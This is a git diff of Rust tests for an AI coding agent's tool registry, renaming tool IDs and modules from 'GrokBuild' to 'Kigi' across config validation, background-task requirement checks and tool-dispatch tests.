@@ -2357,7 +2347,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2366,7 +2356,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:search_replace".to_string(),
+                    id: "Kigi:search_replace".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2441,7 +2431,7 @@ mod tests {
             other => panic!("Expected SearchReplace(NoMatchesFound), got: {other:?}"),
         }
     }
-    /// Verify GrokBuildConcise tools can be finalized and produce concise output.
+    /// Verify KigiConcise tools can be finalized and produce concise output.
     #[tokio::test]
     async fn test_concise_namespace_tools() {
         use crate::types::output::{ReadFileOutput, ToolOutput};
@@ -2451,7 +2441,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuildConcise:read_file".to_string(),
+                    id: "KigiConcise:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2460,7 +2450,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuildConcise:search_replace".to_string(),
+                    id: "KigiConcise:search_replace".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2469,7 +2459,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuildConcise:run_terminal_cmd".to_string(),
+                    id: "KigiConcise:run_terminal_cmd".to_string(),
                     params: Some(
                         serde_json::json!({ "enabled_background" : true })
                             .as_object()
@@ -2482,11 +2472,11 @@ mod tests {
                     behavior_version: None,
                     kind: None,
                 },
-                ToolConfig::for_tool::<grok_build::GrepTool>(),
-                ToolConfig::for_tool::<grok_build::KillTaskTool>(),
-                ToolConfig::for_tool::<grok_build::TaskOutputTool>(),
+                ToolConfig::for_tool::<kigi::GrepTool>(),
+                ToolConfig::for_tool::<kigi::KillTaskTool>(),
+                ToolConfig::for_tool::<kigi::TaskOutputTool>(),
                 ToolConfig {
-                    id: "GrokBuild:list_dir".to_string(),
+                    id: "Kigi:list_dir".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2530,13 +2520,13 @@ mod tests {
     fn has_tool_id_knows_pinned_tool_config_ids() {
         let builder = ToolRegistryBuilder::new();
         for id in [
-            "GrokBuild:run_terminal_cmd",
-            "GrokBuild:read_file",
-            "GrokBuild:search_replace",
-            "GrokBuild:list_dir",
-            "GrokBuild:grep",
-            "GrokBuild:get_terminal_command_output",
-            "GrokBuild:kill_terminal_command",
+            "Kigi:run_terminal_cmd",
+            "Kigi:read_file",
+            "Kigi:search_replace",
+            "Kigi:list_dir",
+            "Kigi:grep",
+            "Kigi:get_terminal_command_output",
+            "Kigi:kill_terminal_command",
         ] {
             assert!(
                 builder.has_tool_id(id),
@@ -2544,7 +2534,7 @@ mod tests {
             );
         }
         assert!(
-            !builder.has_tool_id("GrokBuild:does_not_exist"),
+            !builder.has_tool_id("Kigi:does_not_exist"),
             "unknown ids must not be reported as known"
         );
         assert!(
@@ -2560,11 +2550,11 @@ mod tests {
     fn known_tool_kinds_maps_pinned_tool_config_ids() {
         let kinds = ToolRegistryBuilder::new().known_tool_kinds();
         for (id, expected) in [
-            ("GrokBuild:run_terminal_cmd", ToolKind::Execute),
-            ("GrokBuild:read_file", ToolKind::Read),
-            ("GrokBuild:search_replace", ToolKind::Edit),
-            ("GrokBuild:grep", ToolKind::Search),
-            ("GrokBuild:list_dir", ToolKind::List),
+            ("Kigi:run_terminal_cmd", ToolKind::Execute),
+            ("Kigi:read_file", ToolKind::Read),
+            ("Kigi:search_replace", ToolKind::Edit),
+            ("Kigi:grep", ToolKind::Search),
+            ("Kigi:list_dir", ToolKind::List),
         ] {
             assert_eq!(
                 kinds.get(id),
@@ -2573,7 +2563,7 @@ mod tests {
             );
         }
         assert!(
-            !kinds.contains_key("GrokBuild:does_not_exist"),
+            !kinds.contains_key("Kigi:does_not_exist"),
             "unknown ids must be absent"
         );
     }
@@ -2581,7 +2571,7 @@ mod tests {
     /// two tools resolve to the same `client_name`.
     ///
     /// Without `name_override`, the client_name defaults to `entry.id`
-    /// (e.g. `"read_file"`). If both `GrokBuild:read_file` and
+    /// (e.g. `"read_file"`). If both `Kigi:read_file` and
     /// `Codex:read_file` are in the config, both would get
     /// `client_name = "read_file"`, making the second unreachable at
     /// dispatch time.
@@ -2591,7 +2581,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2625,7 +2615,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::from_value(serde_json::json!({ "enabled_background" :
                 "yes" }))
@@ -2642,7 +2632,7 @@ mod tests {
         let errors = builder.validate_config(&config);
         assert_eq!(errors.len(), 1);
         let error = &errors[0];
-        assert_eq!(error.tool, "GrokBuild:run_terminal_cmd");
+        assert_eq!(error.tool, "Kigi:run_terminal_cmd");
         assert_eq!(
             error.field_path.as_deref(),
             Some("params.enabled_background")
@@ -2655,7 +2645,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuildHashline:hashline_read".to_string(),
+                id: "KigiHashline:hashline_read".to_string(),
                 params: Some(
                     serde_json::from_value(serde_json::json!({ "hash_len" : 0 })).unwrap(),
                 ),
@@ -2683,7 +2673,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2722,7 +2712,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2925,7 +2915,7 @@ mod tests {
         let tmp = TempDir::new().unwrap();
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
-            tools: vec![ToolConfig::for_tool::<grok_build::ReadFileTool>()],
+            tools: vec![ToolConfig::for_tool::<kigi::ReadFileTool>()],
             behavior_preset: None,
         };
         let ctx = test_session_context(&tmp);
@@ -2958,7 +2948,7 @@ mod tests {
         let tmp = TempDir::new().unwrap();
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
-            tools: vec![ToolConfig::for_tool::<grok_build::ReadFileTool>()],
+            tools: vec![ToolConfig::for_tool::<kigi::ReadFileTool>()],
             behavior_preset: None,
         };
         let ctx = test_session_context(&tmp);
@@ -3072,7 +3062,7 @@ mod tests {
         let tmp = TempDir::new().unwrap();
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
-            tools: vec![ToolConfig::for_tool::<grok_build::ReadFileTool>()],
+            tools: vec![ToolConfig::for_tool::<kigi::ReadFileTool>()],
             behavior_preset: None,
         };
         let ctx = test_session_context(&tmp);
@@ -3100,8 +3090,8 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::for_tool::<grok_build::ReadFileTool>(),
-                ToolConfig::for_tool::<grok_build::GrepTool>(),
+                ToolConfig::for_tool::<kigi::ReadFileTool>(),
+                ToolConfig::for_tool::<kigi::GrepTool>(),
             ],
             behavior_preset: None,
         };
@@ -3134,7 +3124,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:task".to_string(),
+                id: "Kigi:task".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3150,9 +3140,9 @@ mod tests {
             "task tool should be rejected without get_task_output and kill_task"
         );
         assert!(
-            errors.iter().any(|e| e.tool == "GrokBuild:task"
-                && e.message.contains("GrokBuild:get_task_output")
-                && e.message.contains("GrokBuild:kill_task")),
+            errors.iter().any(|e| e.tool == "Kigi:task"
+                && e.message.contains("Kigi:get_task_output")
+                && e.message.contains("Kigi:kill_task")),
             "error should mention missing background task tools: {errors:?}",
         );
     }
@@ -3164,7 +3154,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:task".to_string(),
+                    id: "Kigi:task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3173,7 +3163,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:get_task_output".to_string(),
+                    id: "Kigi:get_task_output".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3188,7 +3178,7 @@ mod tests {
         assert!(
             errors
                 .iter()
-                .any(|e| e.tool == "GrokBuild:task" && e.message.contains("GrokBuild:kill_task")),
+                .any(|e| e.tool == "Kigi:task" && e.message.contains("Kigi:kill_task")),
             "task tool should be rejected without kill_task: {errors:?}",
         );
     }
@@ -3200,7 +3190,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:task".to_string(),
+                    id: "Kigi:task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3209,7 +3199,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:kill_task".to_string(),
+                    id: "Kigi:kill_task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3224,8 +3214,7 @@ mod tests {
         assert!(
             errors
                 .iter()
-                .any(|e| e.tool == "GrokBuild:task"
-                    && e.message.contains("GrokBuild:get_task_output")),
+                .any(|e| e.tool == "Kigi:task" && e.message.contains("Kigi:get_task_output")),
             "task tool should be rejected without get_task_output: {errors:?}",
         );
     }
@@ -3238,7 +3227,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:task".to_string(),
+                    id: "Kigi:task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3247,7 +3236,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:get_task_output".to_string(),
+                    id: "Kigi:get_task_output".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3256,7 +3245,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:kill_task".to_string(),
+                    id: "Kigi:kill_task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3281,14 +3270,14 @@ mod tests {
         assert!(task_def.is_some(), "task tool should be in definitions");
     }
     /// Verify that the task tool description renders correctly with the default
-    /// grok-build agent config (all tools present) and that the new examples
+    /// kigi agent config (all tools present) and that the new examples
     /// section is included with no unresolved template placeholders.
     #[tokio::test]
     async fn bash_definition_hides_is_background_when_disabled() {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::json!({ "enabled_background" : false })
                         .as_object()
@@ -3339,7 +3328,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:run_terminal_cmd".to_string(),
+                    id: "Kigi:run_terminal_cmd".to_string(),
                     params: Some(
                         serde_json::json!({ "enabled_background" : true })
                             .as_object()
@@ -3353,7 +3342,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:get_task_output".to_string(),
+                    id: "Kigi:get_task_output".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3362,7 +3351,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:kill_task".to_string(),
+                    id: "Kigi:kill_task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3425,11 +3414,11 @@ mod tests {
         };
         let config = ToolServerConfig {
             tools: vec![
-                tool("GrokBuild:run_terminal_cmd"),
-                tool("GrokBuild:task"),
-                tool("GrokBuild:get_task_output"),
-                tool("GrokBuild:wait_tasks"),
-                tool("GrokBuild:kill_task"),
+                tool("Kigi:run_terminal_cmd"),
+                tool("Kigi:task"),
+                tool("Kigi:get_task_output"),
+                tool("Kigi:wait_tasks"),
+                tool("Kigi:kill_task"),
             ],
             behavior_preset: None,
         };
@@ -3479,7 +3468,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::json!({ "enabled_background" : false,
                 "auto_background_on_timeout" : true })
@@ -3516,7 +3505,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::json!({ "enabled_background" : false,
                 "auto_background_on_timeout" : false })
@@ -3562,7 +3551,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::json!({ "enabled_background" : false,
                 "auto_background_on_timeout" : false })
@@ -3589,7 +3578,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3606,15 +3595,15 @@ mod tests {
             "expected one bash requirement error: {errors:?}"
         );
         let error = &errors[0];
-        assert_eq!(error.tool, "GrokBuild:run_terminal_cmd");
+        assert_eq!(error.tool, "Kigi:run_terminal_cmd");
         assert_eq!(error.category.as_deref(), Some("requirements"));
         assert_eq!(
             error.field_path.as_deref(),
             Some("params.enabled_background")
         );
         assert_eq!(error.bad_value, Some(serde_json::json!(true)));
-        assert!(error.message.contains("GrokBuild:get_task_output"));
-        assert!(error.message.contains("GrokBuild:kill_task"));
+        assert!(error.message.contains("Kigi:get_task_output"));
+        assert!(error.message.contains("Kigi:kill_task"));
         assert!(
             error
                 .expected
@@ -3628,7 +3617,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:task".to_string(),
+                id: "Kigi:task".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3645,9 +3634,9 @@ mod tests {
             "expected one task requirement error: {errors:?}"
         );
         let error = &errors[0];
-        assert_eq!(error.tool, "GrokBuild:task");
-        assert!(error.message.contains("GrokBuild:get_task_output"));
-        assert!(error.message.contains("GrokBuild:kill_task"));
+        assert_eq!(error.tool, "Kigi:task");
+        assert!(error.message.contains("Kigi:get_task_output"));
+        assert!(error.message.contains("Kigi:kill_task"));
         assert_eq!(error.field_path.as_deref(), Some("tools"));
     }
     #[test]
@@ -3655,7 +3644,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:get_task_output".to_string(),
+                id: "Kigi:get_task_output".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3672,17 +3661,17 @@ mod tests {
             "expected one get_task_output requirement error: {errors:?}"
         );
         let error = &errors[0];
-        assert_eq!(error.tool, "GrokBuild:get_task_output");
+        assert_eq!(error.tool, "Kigi:get_task_output");
         assert!(error.message.contains("background-capable bash tool"));
         assert!(error.message.contains("OpenCode:bash"));
-        assert!(error.message.contains("GrokBuild:task"));
+        assert!(error.message.contains("Kigi:task"));
     }
     #[test]
     fn search_replace_requirement_error_mentions_read_tool() {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:search_replace".to_string(),
+                id: "Kigi:search_replace".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3699,7 +3688,7 @@ mod tests {
         );
         let error = errors
             .iter()
-            .find(|error| error.tool == "GrokBuild:search_replace")
+            .find(|error| error.tool == "Kigi:search_replace")
             .expect("search_replace error should be present");
         assert!(error.message.contains("Read tool"));
         assert_eq!(
@@ -3714,7 +3703,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:ask_user_question".to_string(),
+                id: "Kigi:ask_user_question".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -3736,7 +3725,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:run_terminal_cmd".to_string(),
+                    id: "Kigi:run_terminal_cmd".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3745,7 +3734,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3754,7 +3743,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:search_replace".to_string(),
+                    id: "Kigi:search_replace".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3763,7 +3752,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:list_dir".to_string(),
+                    id: "Kigi:list_dir".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3772,7 +3761,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:grep".to_string(),
+                    id: "Kigi:grep".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3781,7 +3770,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:web_search".to_string(),
+                    id: "Kigi:web_search".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3790,7 +3779,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:task".to_string(),
+                    id: "Kigi:task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3799,7 +3788,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:get_task_output".to_string(),
+                    id: "Kigi:get_task_output".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3808,7 +3797,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:kill_task".to_string(),
+                    id: "Kigi:kill_task".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -3823,7 +3812,7 @@ mod tests {
         let ctx = test_session_context(&tmp);
         let toolset = builder
             .finalize(config, ctx)
-            .expect("finalize should succeed with default grok-build tools");
+            .expect("finalize should succeed with default kigi tools");
         let defs = toolset.tool_definitions();
         let task_def = defs
             .iter()
@@ -3855,21 +3844,15 @@ mod tests {
     fn hashline_tools_registered_in_builder() {
         let builder = ToolRegistryBuilder::new();
         assert!(
-            builder
-                .tools
-                .contains_key("GrokBuildHashline:hashline_read"),
+            builder.tools.contains_key("KigiHashline:hashline_read"),
             "hashline_read should be registered"
         );
         assert!(
-            builder
-                .tools
-                .contains_key("GrokBuildHashline:hashline_edit"),
+            builder.tools.contains_key("KigiHashline:hashline_edit"),
             "hashline_edit should be registered"
         );
         assert!(
-            builder
-                .tools
-                .contains_key("GrokBuildHashline:hashline_grep"),
+            builder.tools.contains_key("KigiHashline:hashline_grep"),
             "hashline_grep should be registered"
         );
     }
@@ -3879,9 +3862,9 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                hashline_tool_config("GrokBuildHashline:hashline_read"),
-                hashline_tool_config("GrokBuildHashline:hashline_edit"),
-                hashline_tool_config("GrokBuildHashline:hashline_grep"),
+                hashline_tool_config("KigiHashline:hashline_read"),
+                hashline_tool_config("KigiHashline:hashline_edit"),
+                hashline_tool_config("KigiHashline:hashline_grep"),
             ],
             behavior_preset: None,
         };
@@ -3904,9 +3887,9 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let standard_config = ToolServerConfig {
             tools: vec![
-                hashline_tool_config("GrokBuild:read_file"),
-                hashline_tool_config("GrokBuild:search_replace"),
-                hashline_tool_config("GrokBuild:grep"),
+                hashline_tool_config("Kigi:read_file"),
+                hashline_tool_config("Kigi:search_replace"),
+                hashline_tool_config("Kigi:grep"),
             ],
             behavior_preset: None,
         };
@@ -3917,9 +3900,9 @@ mod tests {
         let builder2 = ToolRegistryBuilder::new();
         let hashline_config = ToolServerConfig {
             tools: vec![
-                hashline_tool_config("GrokBuildHashline:hashline_read"),
-                hashline_tool_config("GrokBuildHashline:hashline_edit"),
-                hashline_tool_config("GrokBuildHashline:hashline_grep"),
+                hashline_tool_config("KigiHashline:hashline_read"),
+                hashline_tool_config("KigiHashline:hashline_edit"),
+                hashline_tool_config("KigiHashline:hashline_grep"),
             ],
             behavior_preset: None,
         };
@@ -3934,9 +3917,9 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                hashline_tool_config("GrokBuildHashline:hashline_read"),
-                hashline_tool_config("GrokBuildHashline:hashline_edit"),
-                hashline_tool_config("GrokBuildHashline:hashline_grep"),
+                hashline_tool_config("KigiHashline:hashline_read"),
+                hashline_tool_config("KigiHashline:hashline_edit"),
+                hashline_tool_config("KigiHashline:hashline_grep"),
             ],
             behavior_preset: None,
         };
@@ -3956,9 +3939,9 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                hashline_tool_config("GrokBuild:read_file"),
-                hashline_tool_config("GrokBuildHashline:hashline_edit"),
-                hashline_tool_config("GrokBuild:grep"),
+                hashline_tool_config("Kigi:read_file"),
+                hashline_tool_config("KigiHashline:hashline_edit"),
+                hashline_tool_config("Kigi:grep"),
             ],
             behavior_preset: None,
         };
@@ -3975,8 +3958,8 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::for_tool::<grok_build::EnterPlanModeTool>(),
-                ToolConfig::for_tool::<grok_build::ExitPlanModeTool>(),
+                ToolConfig::for_tool::<kigi::EnterPlanModeTool>(),
+                ToolConfig::for_tool::<kigi::ExitPlanModeTool>(),
             ],
             behavior_preset: None,
         };
@@ -4013,7 +3996,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuildHashline:hashline_read".to_owned(),
+                    id: "KigiHashline:hashline_read".to_owned(),
                     params: Some(
                         serde_json::json!({ "scheme" : "chunk", "hash_len" : 2, "chunk_size"
                 : 16 })
@@ -4027,9 +4010,9 @@ mod tests {
                     behavior_version: None,
                     kind: None,
                 },
-                ToolConfig::for_tool::<grok_build_hashline::HashlineEditTool>(),
-                ToolConfig::for_tool::<grok_build_hashline::HashlineGrepTool>(),
-                ToolConfig::for_tool::<grok_build::ListDirTool>(),
+                ToolConfig::for_tool::<kigi_hashline::HashlineEditTool>(),
+                ToolConfig::for_tool::<kigi_hashline::HashlineGrepTool>(),
+                ToolConfig::for_tool::<kigi::ListDirTool>(),
             ],
             behavior_preset: None,
         };
@@ -4053,7 +4036,7 @@ mod tests {
     }
     fn bash_config_with_background() -> ToolConfig {
         ToolConfig {
-            id: "GrokBuild:run_terminal_cmd".to_owned(),
+            id: "Kigi:run_terminal_cmd".to_owned(),
             params: Some(
                 serde_json::json!({ "enabled_background" : true })
                     .as_object()
@@ -4067,18 +4050,18 @@ mod tests {
             kind: None,
         }
     }
-    async fn grok_build_bridge(tmp: &TempDir) -> crate::bridge::ToolBridge {
+    async fn kigi_bridge(tmp: &TempDir) -> crate::bridge::ToolBridge {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::for_tool::<grok_build::ListDirTool>(),
-                ToolConfig::for_tool::<grok_build::ReadFileTool>(),
-                ToolConfig::for_tool::<grok_build::SearchReplaceTool>(),
+                ToolConfig::for_tool::<kigi::ListDirTool>(),
+                ToolConfig::for_tool::<kigi::ReadFileTool>(),
+                ToolConfig::for_tool::<kigi::SearchReplaceTool>(),
                 bash_config_with_background(),
-                ToolConfig::for_tool::<grok_build::TaskOutputTool>(),
-                ToolConfig::for_tool::<grok_build::KillTaskTool>(),
-                ToolConfig::for_tool::<grok_build::GrepTool>(),
-                ToolConfig::for_tool::<grok_build::TodoWriteTool>(),
+                ToolConfig::for_tool::<kigi::TaskOutputTool>(),
+                ToolConfig::for_tool::<kigi::KillTaskTool>(),
+                ToolConfig::for_tool::<kigi::GrepTool>(),
+                ToolConfig::for_tool::<kigi::TodoWriteTool>(),
             ],
             behavior_preset: None,
         };
@@ -4091,7 +4074,7 @@ mod tests {
     async fn hub_dispatch_list_dir() {
         let tmp = TempDir::new().unwrap();
         std::fs::write(tmp.path().join("hello.txt"), "world").unwrap();
-        let bridge = grok_build_bridge(&tmp).await;
+        let bridge = kigi_bridge(&tmp).await;
         let result = bridge
             .call(
                 "list_dir",
@@ -4117,7 +4100,7 @@ mod tests {
         let args = serde_json::json!(
             { "target_directory" : test_dir.to_str().unwrap() }
         );
-        let hub_bridge = grok_build_bridge(&tmp).await;
+        let hub_bridge = kigi_bridge(&tmp).await;
         let hub_result = hub_bridge
             .call("list_dir", args.clone(), "hub-call")
             .await
@@ -4131,7 +4114,7 @@ mod tests {
         );
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
-            tools: vec![ToolConfig::for_tool::<grok_build::ListDirTool>()],
+            tools: vec![ToolConfig::for_tool::<kigi::ListDirTool>()],
             behavior_preset: None,
         };
         let legacy_toolset = Arc::new(
@@ -4158,7 +4141,7 @@ mod tests {
         let tmp = TempDir::new().unwrap();
         let file = tmp.path().join("editable.txt");
         std::fs::write(&file, "hello world").unwrap();
-        let bridge = grok_build_bridge(&tmp).await;
+        let bridge = kigi_bridge(&tmp).await;
         bridge
             .call(
                 "read_file",
@@ -4190,7 +4173,7 @@ mod tests {
     #[tokio::test]
     async fn hub_dispatch_bash() {
         let tmp = TempDir::new().unwrap();
-        let bridge = grok_build_bridge(&tmp).await;
+        let bridge = kigi_bridge(&tmp).await;
         let result = bridge
             .call(
                 "run_terminal_cmd",
@@ -4212,7 +4195,7 @@ mod tests {
     #[tokio::test]
     async fn hub_dispatch_invalid_args() {
         let tmp = TempDir::new().unwrap();
-        let bridge = grok_build_bridge(&tmp).await;
+        let bridge = kigi_bridge(&tmp).await;
         let result = bridge.call("grep", serde_json::json!({}), "bad-call").await;
         assert!(
             result.is_err(),
@@ -4227,7 +4210,7 @@ mod tests {
         let tmp = TempDir::new().unwrap();
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
-            tools: vec![ToolConfig::for_tool::<grok_build::ListDirTool>()],
+            tools: vec![ToolConfig::for_tool::<kigi::ListDirTool>()],
             behavior_preset: None,
         };
         let toolset = builder
@@ -4261,8 +4244,8 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::for_tool::<grok_build::ListDirTool>(),
-                ToolConfig::for_tool::<grok_build::ReadFileTool>(),
+                ToolConfig::for_tool::<kigi::ListDirTool>(),
+                ToolConfig::for_tool::<kigi::ReadFileTool>(),
             ],
             behavior_preset: None,
         };
@@ -4324,7 +4307,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:read_file".to_string(),
+                id: "Kigi:read_file".to_string(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -4395,7 +4378,7 @@ mod tests {
         let builder = ToolRegistryBuilder::new();
         let config = ToolServerConfig {
             tools: vec![ToolConfig {
-                id: "GrokBuild:run_terminal_cmd".to_string(),
+                id: "Kigi:run_terminal_cmd".to_string(),
                 params: Some(
                     serde_json::json!({ "enabled_background" : false })
                         .as_object()
diff --git a/crates/codegen/kigi-tools/src/reminders/task_completion.rs b/crates/codegen/kigi-tools/src/reminders/task_completion.rs
index a136f7a..55dc997 100644
--- a/crates/codegen/kigi-tools/src/reminders/task_completion.rs
+++ b/crates/codegen/kigi-tools/src/reminders/task_completion.rs
@@ -13,7 +13,7 @@
 //! A [`ReportedTaskCompletions`] state set tracks which task/subagent IDs
 //! have already been surfaced, preventing duplicate reminders.
 use crate::bridge::ToolBridge;
-use crate::implementations::grok_build::task::types::{
+use crate::implementations::kigi::task::types::{
     SubagentCompletionSummary, SubagentCompletionsRequest, SubagentEvent, SubagentEventSender,
 };
 use crate::types::TaskSnapshot;
@@ -82,7 +82,7 @@ impl AutoWakeDeliveredIds {
             .collect()
     }
 }
-crate::register_resource!("grok_build", "AutoWakeDeliveredIds", AutoWakeDeliveredIds);
+crate::register_resource!("kigi", "AutoWakeDeliveredIds", AutoWakeDeliveredIds);
 /// Set of task IDs whose completion has already been surfaced as a
